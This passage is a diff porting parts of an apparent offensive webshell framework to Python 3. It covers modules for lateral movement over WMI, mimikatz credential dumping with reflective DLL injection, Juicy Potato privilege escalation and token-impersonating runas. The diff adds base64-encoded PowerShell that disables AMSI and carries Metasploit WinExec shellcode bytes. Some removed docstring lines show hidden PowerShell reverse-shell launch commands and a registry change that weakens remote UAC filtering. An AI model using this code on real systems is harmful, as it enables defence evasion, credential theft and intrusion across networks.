+                [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZj1bUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLkFtcycrJ2lVdGlscycpOw==")) | IEX;
+                [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZi5HZXRGaWVsZCgnYW1zaUluJysnaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJykuU2V0VmFsdWUoJG51bGwsJHRydWUpOw==")) | IEX;
                 $path_in="%s";
                 $key=[System.Text.Encoding]::UTF8.GetBytes('%s');
                 $encrypted=[System.IO.File]::ReadAllBytes($path_in);
@@ -108,7 +112,7 @@ class Invoke_ps_module(Module):
         if '""' in appended_code:
             appended_code = appended_code.replace('""', '"')
         enc_appended_code_path = config.modules_paths + 'ps_modules/' + random_generator()
-        byte_arr_app_module_encrypted = bytearray(appended_code)
+        byte_arr_app_module_encrypted = bytearray(appended_code, 'utf-8')
         self.__xor_bytearray(byte_arr_app_module_encrypted)
         with open(enc_appended_code_path, 'wb') as file_handle:
             file_handle.write(byte_arr_app_module_encrypted)
@@ -127,12 +131,12 @@ class Invoke_ps_module(Module):
             encrypted_module_path = self._module_settings[ps_module]
         else:
             local_encrypted_module_path = self._gen_encrypted_module(ps_module)
-            print '\n\n\nUploading encrypted ps module....\n'
+            print ('\n\n\nUploading encrypted ps module....\n')
             try:
                 encrypted_module_path = self._module_settings['env_directory'] + '\\' + random_generator()
                 upload_response = self._parse_response(self.upload_module_object.run([local_encrypted_module_path,
                                                                                       encrypted_module_path]))
-                print upload_response
+                print (upload_response)
                 self._module_settings[ps_module] = encrypted_module_path
             except Exception as exc:
                 raise self._exception_class(str(exc))

modules/lateral_wmi.py

@@ -14,8 +14,8 @@ class Lateral_wmi(Module):
         This module run a wmic /node:[ip] command in order to launch commands on a remote windows system.
         This will result in a lateral movement if shared credentials are known.
         
-        Note that if you use local users credentials you should ensure that, on the target server, the feature
-        "LocalAccountTokenFilterPolicy" is disabled.
+        Note that if you use local admin credentials you should ensure that, on the target server, the feature
+        "LocalAccountTokenFilterPolicy" is disabled. (except for builtin Administrator)
         To disable that you need to add the following regkey with the value of 1:
         
         HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
@@ -24,16 +24,11 @@ class Lateral_wmi(Module):
             reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
         
         If you use domain users for the lateral movement, no restrictions to the process token will be applied.
+        Remember to always specify the domain in the username field. If you use a local account use the machine name as the domain.
         
         This module uses WMI builtin features wmi and doesn't need additional files to be droppend on the target
         server.
         
-        Moreover this module should be run from a privileged user.
-        If the application pool within the web application you are interacting with is run with application pool
-        identity account or any limited account you won't be able to move laterally to other systems
-        due to restrictions applied to the user.
-        In those cases, you need to use different credentials of a more privileged user in order to launch this module.
-        
         Note that, wmi commands don't return stdout/stderr output from the execution of remote processes.
         You should redirect output to a shared resource (i.e. local share with everyone permission) or just spawn
         reverse/bind shell. 
@@ -47,21 +42,14 @@ class Lateral_wmi(Module):
                                     you can specify domain\username if user is in a domain
             password                password of the user to use to login on the target server
             command                 a command compatible by cmd.exe
-            [local_user]            the username of a local user with privileged rights
-            [local_password]        the password of a local user with privileged rights
-            [local_domain]          the domain of a local user with privileged rights
                                         
         Examples:
             Lateral movement as privileged current application pool user, output to local shared resource:
-                 #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt' 
-            Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd):
-                 #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'local_privileged_user1' 'local_privileged_password1'
-            Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd):
-                 #lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
-
+                 #lateral_wmi 192.168.56.102 'domain\remote_user1' 'remote_password1' 'whoami /all > C:\Windows\Temp\whoami.txt' 
+          
     """
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
                     using System;using System.IO;using System.Diagnostics;using System.Text;
                     public class SharPyShell
                     {                    
@@ -104,196 +92,10 @@ class Lateral_wmi(Module):
                     }
                     """
 
-    _runtime_code_runas = ur"""
-                    using System;using System.IO;using System.Diagnostics;using System.Text;
-                    using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
-
-                    public class SharPyShell
-                    {
-                        public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
-                        {
-                            private SafeTokenHandle()
-                                : base(true)
-                            {
-                            }
-
-                            [DllImport("kernel32.dll")]
-                            [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
-                            [SuppressUnmanagedCodeSecurity]
-                            [return: MarshalAs(UnmanagedType.Bool)]
-                            private static extern bool CloseHandle(IntPtr handle);
-
-                            protected override bool ReleaseHandle()
-                            {
-                                return CloseHandle(handle);
-                            }
-                        }
-
-                        [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
-                        {
-                        public int cb;
-                        public String lpReserved;
-                        public String lpDesktop;
-                        public String lpTitle;
-                        public uint dwX;
-                        public uint dwY;
-                        public uint dwXSize;
-                        public uint dwYSize;
-                        public uint dwXCountChars;
-                        public uint dwYCountChars;
-                        public uint dwFillAttribute;
-                        public uint dwFlags;
-                        public short wShowWindow;
-                        public short cbReserved2;
-                        public IntPtr lpReserved2;
-                        public IntPtr hStdInput;
-                        public IntPtr hStdOutput;
-                        public IntPtr hStdError;
-                        }
-
-                        [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
-                        {
-                        public IntPtr hProcess;
-                        public IntPtr hThread;
-                        public uint   dwProcessId;
-                        public uint   dwThreadId;
-                        }
-
-                        [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
-                        {
-                        public int    Length;
-                        public IntPtr lpSecurityDescriptor;
-                        public bool   bInheritHandle;
-                        }
-
-                        [DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
-                        public static extern bool CloseHandle(IntPtr handle);
-
-                        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
-                        public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
-
-                        [DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
-                        public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
-
-                        [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
-                        public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
-
-                        [DllImport("kernel32.dll", SetLastError=true)]
-                        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
-
-                        const uint WAIT_ABANDONED = 0x00000080;
-                        const uint WAIT_OBJECT_0 = 0x00000000;
-                        const uint WAIT_TIMEOUT = 0x00000102;
-
-                        [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]                    
-                        public string LateralWMIRunas(string userName, string password, string domainName, string wmi_arguments, string stdout_file, string stderr_file, string working_directory)
-                        {
-                            SafeTokenHandle safeTokenHandle;
-                            int logon_type = 4;
-                            uint process_ms_timeout = 60000;
-                            string output = "";
-                            string error_string = "{{{SharPyShellError}}}";
-                            try
-                            {
-                                const int LOGON32_PROVIDER_DEFAULT = 0;
-                                const int LOGON32_PROVIDER_WINNT35 = 1;
-                                const int LOGON32_PROVIDER_WINNT40 = 2;
-                                const int LOGON32_PROVIDER_WINNT50 = 3;
-                                bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
-                                if (false == returnValue)
-                                {
-                                    output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error();
-                                    return output;
-                                }
-                                using (safeTokenHandle)
-                                {
-                                    using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
-                                    {
-                                        using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
-                                        {
-                                            IntPtr Token = new IntPtr(0);
-                                            IntPtr DupedToken = new IntPtr(0);
-                                            bool      ret;
-                                            SECURITY_ATTRIBUTES sa  = new SECURITY_ATTRIBUTES();
-                                            sa.bInheritHandle       = false;
-                                            sa.Length               = Marshal.SizeOf(sa);
-                                            sa.lpSecurityDescriptor = (IntPtr)0;
-                                            Token = WindowsIdentity.GetCurrent().Token;
-                                            const uint GENERIC_ALL = 0x10000000;
-                                            const int SecurityImpersonation = 2;
-                                            const int TokenType = 1;
-                                            ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
-                                            if (ret == false){
-                                                 output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
-                                                return output;
-                                            }
-                                            STARTUPINFO si          = new STARTUPINFO();
-                                            si.cb                   = Marshal.SizeOf(si);
-                                            si.lpDesktop            = "";
-                                            string commandLinePath = "";
-                                            File.Create(stdout_file).Dispose();
-                                            File.Create(stderr_file).Dispose();
-                                            string cmd_path = commandLinePath =  Environment.GetEnvironmentVariable("ComSpec");
-                                            string wmic_path = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\system32\\wbem\\wmic.exe";
-                                            commandLinePath =  cmd_path + " /c " + wmic_path + " " + wmi_arguments + " >> " + stdout_file + " 2>>" + stderr_file;
-                                            PROCESS_INFORMATION pi  = new PROCESS_INFORMATION();
-                                            ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
-                                            if (ret == false){
-                                                output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
-                                                return output;
-                                            }
-                                            else{
-                                                uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
-                                                if(wait_for == WAIT_OBJECT_0){
-                                                    output += "\n" + File.ReadAllText(stdout_file);
-                                                    string errors = File.ReadAllText(stderr_file);
-                                                    if (!String.IsNullOrEmpty(errors))
-                                                        output += "\n" + errors;
-                                                }
-                                                else{
-                                                    output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " +  Marshal.GetLastWin32Error();
-                                                }
-                                                File.Delete(stdout_file);
-                                                File.Delete(stderr_file);
-                                                CloseHandle(pi.hProcess);
-                                                CloseHandle(pi.hThread);
-                                            }
-                                            CloseHandle(DupedToken);
-                                        }
-                                    }
-                                }
-                            }
-                            catch (Exception ex)
-                            {
-                                output += error_string + "\nException occurred. " + ex.Message;
-                                return output;
-                            }
-                        return output;
-                        }
-
-                        public byte[] ExecRuntime()
-                        {
-                            string output_func=LateralWMIRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s");
-                            byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
-                            return(output_func_byte);
-                        }
-                    }
-                    """
-
-    __default_local_user = ''
-    __default_local_password = ''
-    __default_local_domain = ''
-    __wmi_code_arguments = ur'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""'
+    __wmi_code_arguments = r'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""'
 
     def __run_as_current_user(self, wmi_code_arguments):
-        request = self._create_request([wmi_code_arguments, 'current_user'])
-        encrypted_request = self._encrypt_request(request)
-        encrypted_response = self._post_request(encrypted_request)
-        decrypted_response = self._decrypt_response(encrypted_response)
-        return decrypted_response
-
-    def __run_as(self, wmi_code_arguments, local_user, local_password, local_domain):
-        request = self._create_request([[wmi_code_arguments, local_user, local_password, local_domain], 'runas'])
+        request = self._create_request(wmi_code_arguments)
         encrypted_request = self._encrypt_request(request)
         encrypted_response = self._post_request(encrypted_request)
         decrypted_response = self._decrypt_response(encrypted_response)
@@ -307,34 +109,20 @@ class Lateral_wmi(Module):
         username = args_parser.get(1)
         password = args_parser.get(2)
         command = args_parser.get(3)
-        local_user = args_parser.get(4, self.__default_local_user)
-        local_password = args_parser.get(5, self.__default_local_password)
-        local_domain = args_parser.get(6, self.__default_local_domain)
-        return target_ip, username, password, command, local_user, local_password, local_domain
+        return target_ip, username, password, command
 
     def _create_request(self, args):
-        arguments, request_type = args
+        arguments = args
         working_path = self._module_settings['working_directory']
-        if request_type == 'runas':
-            wmi_code_arguments, local_user, local_password, local_domain = arguments
-            stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
-            stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
-            request = self._runtime_code_runas % (local_user, local_password, local_domain, wmi_code_arguments,
-                                                  stdout_file, stderr_file, working_path)
-        else:
-            wmi_code_arguments = arguments
-            request = self._runtime_code % (wmi_code_arguments, working_path)
+        wmi_code_arguments = arguments
+        request = self._runtime_code % (wmi_code_arguments, working_path)
         return request
 
     def run(self, args):
         try:
-            target_ip, username, password, command,\
-                local_user, local_password, local_domain = self.__parse_run_args(args)
+            target_ip, username, password, command = self.__parse_run_args(args)
             wmi_code_arguments = self.__wmi_code_arguments % (target_ip, username, password, command)
-            if local_user == '':
-                response = self.__run_as_current_user(wmi_code_arguments)
-            else:
-                response = self.__run_as(wmi_code_arguments, local_user, local_password, local_domain)
+            response = self.__run_as_current_user(wmi_code_arguments)
             parsed_response = self._parse_response(response)
         except ModuleException as module_exc:
             parsed_response = str(module_exc)

modules/mimikatz.py

@@ -8,6 +8,7 @@ from modules.invoke_ps_module_as import Invoke_ps_module_as
 from modules.inject_dll_srdi import Inject_dll_srdi
 from utils.random_string import random_generator
 import traceback
+import os
 
 
 class MimikatzModuleException(ModuleException):
@@ -104,11 +105,11 @@ class Mimikatz(Module):
         if 'mimikatz.exe' in self._module_settings.keys():
             bin_path = self._module_settings['mimikatz.exe']
         else:
-            exe_path = config.modules_paths + 'exe_modules/mimikatz.exe'
+            exe_path = config.modules_paths + 'exe_modules' + os.sep + 'mimikatz.exe'
             remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
-            print '\n\n\nUploading mimikatz binary....\n'
+            print ('\n\n\nUploading mimikatz binary....\n')
             upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
-            print upload_response
+            print (upload_response)
             self._module_settings['mimikatz.exe'] = remote_upload_path
             bin_path = remote_upload_path
         return bin_path
@@ -126,9 +127,9 @@ class Mimikatz(Module):
         dll_name = 'powerkatz.dll'
         exported_function_name = 'powershell_reflective_mimikatz'
         log_file = self._module_settings['env_directory'] + '\\' + random_generator()
-        exported_function_data = str(('"log ' + log_file + '" ' + custom_command + '\x00').encode('utf-16-le'))
+        exported_function_data = str.encode('"log ' + log_file + '" ' + custom_command + '\x00', 'utf-16-le')
         if username == '':
-            print '\n\nInjecting converted DLL shellcode into remote process...'
+            print ('\n\nInjecting converted DLL shellcode into remote process...')
             response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
                                                                    exported_function_name, exported_function_data])
             response = self._parse_response(response)

modules/privesc_juicy_potato.py

@@ -56,7 +56,7 @@ class Privesc_juicy_potato(Module):
                 #privesc_juicy_potato 'whoami > C:\windows\temp\whoami_juicy.txt' 'exe'
     """
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
                    using System;using System.IO;using System.Diagnostics;using System.Text;
                    public class SharPyShell
                    {                    
@@ -130,9 +130,9 @@ class Privesc_juicy_potato(Module):
         else:
             exe_path = config.modules_paths + 'exe_modules/JuicyPotato.exe'
             remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
-            print '\n\n\nUploading Juicy Potato binary....\n'
+            print ('\n\n\nUploading Juicy Potato binary....\n')
             upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
-            print upload_response
+            print (upload_response)
             self._module_settings['JuicyPotato.exe'] = remote_upload_path
             bin_path = remote_upload_path
         return bin_path
@@ -148,30 +148,30 @@ class Privesc_juicy_potato(Module):
         return parsed_response
 
     def __run_reflective_dll_version(self, cmd, custom_shellcode_path, logfile, clsid):
-        LogFile = logfile
-        remote_process = 'notepad.exe'
-        CLSID = clsid
-        ListeningPort = self.__random_listening_port
-        RpcServerHost = '127.0.0.1'
-        RpcServerPort = '135'
-        ListeningAddress = '127.0.0.1'
+        LogFile = logfile.encode()
+        remote_process = b'notepad.exe'
+        CLSID = clsid.encode()
+        ListeningPort = self.__random_listening_port.encode()
+        RpcServerHost = b'127.0.0.1'
+        RpcServerPort = b'135'
+        ListeningAddress = b'127.0.0.1'
         if custom_shellcode_path == 'default':
-            shellcode_bytes = shellcode.winexec_x64 + 'cmd /c "' + cmd + '"\00'
+            shellcode_bytes = shellcode.winexec_x64 + b'cmd /c "' + cmd.encode() + b'"\00'
             thread_timeout = '60000'
         else:
             thread_timeout = '0'
             with open(custom_shellcode_path, 'rb') as file_handle:
                 shellcode_bytes = file_handle.read()
-        configuration = LogFile + '\00'
-        configuration += remote_process + '\00'
-        configuration += CLSID + '\00'
-        configuration += ListeningPort + '\00'
-        configuration += RpcServerHost + '\00'
-        configuration += RpcServerPort + '\00'
-        configuration += ListeningAddress + '\00'
-        configuration += str(len(shellcode_bytes)) + '\00'
+        configuration = LogFile + b'\00'
+        configuration += remote_process + b'\00'
+        configuration += CLSID + b'\00'
+        configuration += ListeningPort + b'\00'
+        configuration += RpcServerHost + b'\00'
+        configuration += RpcServerPort + b'\00'
+        configuration += ListeningAddress + b'\00'
+        configuration += str(len(shellcode_bytes)).encode() + b'\00'
         configuration += shellcode_bytes
-        configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in bytearray(configuration)) + '}'
+        configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in configuration) + '}'
         response = self.inject_dll_reflective_module_object.run(['juicypotato_reflective.dll', 'remote_virtual',
                                                                 'cmd.exe', thread_timeout, configuration_bytes_csharp])
         parsed_response = self._parse_response(response)
@@ -189,7 +189,7 @@ class Privesc_juicy_potato(Module):
                 response = self.__run_exe_version(cmd, arguments)
             else:
                 logfile = self._module_settings['env_directory'] + '\\' + random_generator()
-                print '\n\nInjecting Reflective DLL into remote process...'
+                print ('\n\nInjecting Reflective DLL into remote process...')
                 response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid)
                 response += '\nReflective DLL injection executed!\n\n'
                 if custom_shellcode_path == 'default':

modules/runas.py

@@ -34,8 +34,7 @@ class Runas(Module):
             domain                  domain of the user, if in a domain. 
                                     Default: ''
             process_timeout_ms      the waiting time (in ms) to use in the WaitForSingleObject() function.
-                                    This will halt the process until the spawned process ends and sent
-                                    the output back to the webshell.
+                                    This will halt the process until the spawned process ends and sent the output back to the webshell.
                                     If you set 0 an async process will be created and no output will be retrieved.
                                     Default: '60000'
             logon_type              the logon type for the spawned process.
@@ -55,7 +54,7 @@ class Runas(Module):
                                                 
     """
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
                 using System;using System.IO;using System.Diagnostics;using System.Text;
                 using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
 
@@ -336,6 +335,8 @@ class Runas(Module):
         domain = args_parser.get(3, self.__default_domain)
         process_ms_timeout = args_parser.get(4, self.__default_process_ms_timeout)
         logon_type = args_parser.get(5, self.__default_logon_type)
+        if process_ms_timeout == '' or logon_type == '':
+            raise self._exception_class('#runas: process_ms_timeout and logon_type field cannot be empty.\n')
         return cmd, username, password, domain,process_ms_timeout, logon_type
 
     def _create_request(self, args):

modules/runas_ps.py

@@ -53,7 +53,7 @@ class Runas_ps(Runas):
     def __gen_powershell_launcher(self, ps_code):
         powershell_launcher='powershell -nop -noni -enc '
         ps_code = '$ProgressPreference = "SilentlyContinue";' + ps_code
-        powershell_launcher += b64encode(ps_code.encode('UTF-16LE'))
+        powershell_launcher += str(b64encode(ps_code.encode('UTF-16LE')),'UTF-8')
         return powershell_launcher
 
     def _create_request(self, args):
@@ -65,4 +65,4 @@ class Runas_ps(Runas):
         stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
         stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
         return self._runtime_code % (username, password, domain, cmd, stdout_file, stderr_file,
-                                     working_path, logon_type, process_ms_timeout)
+                                     working_path, logon_type, process_ms_timeout)

modules/upload.py

@@ -35,7 +35,7 @@ class Upload(Module):
                 #upload /tmp/revshell.exe C:\Users\Public\revshell.exe 1024
     """
 
-    _runtime_code = ur"""
+    _runtime_code = r"""
             using System;using System.IO;using System.Diagnostics;using System.Text;
             public class SharPyShell{                    
                 byte[] Upload(string path, byte[] file_bytes){
@@ -56,7 +56,7 @@ class Upload(Module):
             }
     """
 
-    __runtime_code_split_file = ur"""
+    __runtime_code_split_file = r"""
             using System;using System.IO;using System.Diagnostics;using System.Text;
             public class SharPyShell{                    
                 byte[] Upload(string path, byte[] file_bytes){
@@ -80,7 +80,7 @@ class Upload(Module):
             }
     """
 
-    __runtime_code_init_file = ur"""
+    __runtime_code_init_file = r"""
                 using System;using System.IO;using System.Diagnostics;using System.Text;
                 public class SharPyShell{                    
                     string InitFile(string path){
@@ -164,8 +164,8 @@ class Upload(Module):
                 decrypted_response = self._decrypt_response(encrypted_response)
                 parsed_response = self._parse_response(decrypted_response)
                 if len(requests) > 1:
-                    print 'Chunk ' + str(i + 1) + ' --> ' + str(chunk_size*i) + ' - ' + str(chunk_size*i+chunk_size) +\
-                          ' bytes written correctly to ' + upload_output_path
+                    print ('Chunk ' + str(i + 1) + ' --> ' + str(chunk_size*i) + ' - ' + str(chunk_size*i+chunk_size) +\
+                          ' bytes written correctly to ' + upload_output_path)
         except ModuleException as module_exc:
             parsed_response = str(module_exc)
         except Exception:

requirements.txt

@@ -1,6 +1,6 @@
 urllib3
 PySocks
-pycrypto
+pycryptodome
 pyopenssl
 pefile
 prettytable

utils/Singleton.py

@@ -3,5 +3,5 @@ class Singleton(object):
 
     def __new__(cls, *args, **kwargs):
         if cls not in cls._instances:
-            cls._instances[cls] = super(Singleton, cls).__new__(cls, *args, **kwargs)
-        return cls._instances[cls]
+            cls._instances[cls] = super(Singleton, cls).__new__(cls)
+        return cls._instances[cls]

utils/gzip_utils.py

@@ -1,17 +1,14 @@
-import StringIO
+import io 
 import gzip
 import base64
 
 
 def get_compressed_base64_from_file(path):
-    compressed_stream = StringIO.StringIO()
-    with gzip.GzipFile(fileobj=compressed_stream, mode="wb") as compressed, open(path, 'rb') as infile:
-        compressed.write(infile.read())
-    return base64.b64encode(compressed_stream.getvalue())
+
+    with open(path, 'rb') as f:
+        read_data = f.read() 
+    return base64.b64encode(gzip.compress(read_data)).decode()
 
 
 def get_compressed_base64_from_binary(bin_bytearray_input):
-    compressed_stream = StringIO.StringIO()
-    with gzip.GzipFile(fileobj=compressed_stream, mode="wb") as compressed:
-        compressed.write(str(bin_bytearray_input))
-    return base64.b64encode(compressed_stream.getvalue())
+    return base64.b64encode(gzip.compress(bin_bytearray_input)).decode()

utils/prettify.py

@@ -16,19 +16,19 @@ def tablify(data, table_border=True):
         table = prettytable.PrettyTable()
 
         # List outputs.
-        if isinstance(data, (types.ListType, types.TupleType)):
+        if isinstance(data, (list, tuple)):
 
             if len(data) > 0:
 
                 columns_num = 1
-                if isinstance(data[0], (types.ListType, types.TupleType)):
+                if isinstance(data[0], (list, tuple)):
                     columns_num = len(data[0])
 
                 for row in data:
                     if not row:
                         continue
 
-                    if isinstance(row, (types.ListType, types.TupleType)):
+                    if isinstance(row, (list, tuple)):
                         table.add_row(row)
                     else:
                         table.add_row([row])
@@ -38,7 +38,7 @@ def tablify(data, table_border=True):
 
             # Populate the rows
             randomitem = next(data.itervalues())
-            if isinstance(randomitem, (types.ListType, types.TupleType)):
+            if isinstance(randomitem, (list, tuple)):
                 for field in data:
                     table.add_row([field] + data[field])
             else:

utils/shellcode.py

@@ -9,25 +9,25 @@ https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/sing
 'Arch'          => ARCH_X64,
 'Payload' =>
 '''
-winexec_x64 = ""
-winexec_x64 += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
-winexec_x64 += "\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
-winexec_x64 += "\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
-winexec_x64 += "\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
-winexec_x64 += "\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
-winexec_x64 += "\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
-winexec_x64 += "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
-winexec_x64 += "\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
-winexec_x64 += "\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
-winexec_x64 += "\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
-winexec_x64 += "\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
-winexec_x64 += "\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
-winexec_x64 += "\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
-winexec_x64 += "\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
-winexec_x64 += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
-winexec_x64 += "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
-winexec_x64 += "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
-winexec_x64 += "\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
-winexec_x64 += "\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
-winexec_x64 += "\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
-winexec_x64 += "\x00\x59\x41\x89\xda\xff\xd5"
+winexec_x64 = b""
+winexec_x64 += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
+winexec_x64 += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
+winexec_x64 += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
+winexec_x64 += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
+winexec_x64 += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
+winexec_x64 += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
+winexec_x64 += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
+winexec_x64 += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
+winexec_x64 += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
+winexec_x64 += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
+winexec_x64 += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
+winexec_x64 += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
+winexec_x64 += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
+winexec_x64 += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
+winexec_x64 += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
+winexec_x64 += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
+winexec_x64 += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
+winexec_x64 += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
+winexec_x64 += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
+winexec_x64 += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
+winexec_x64 += b"\x00\x59\x41\x89\xda\xff\xd5"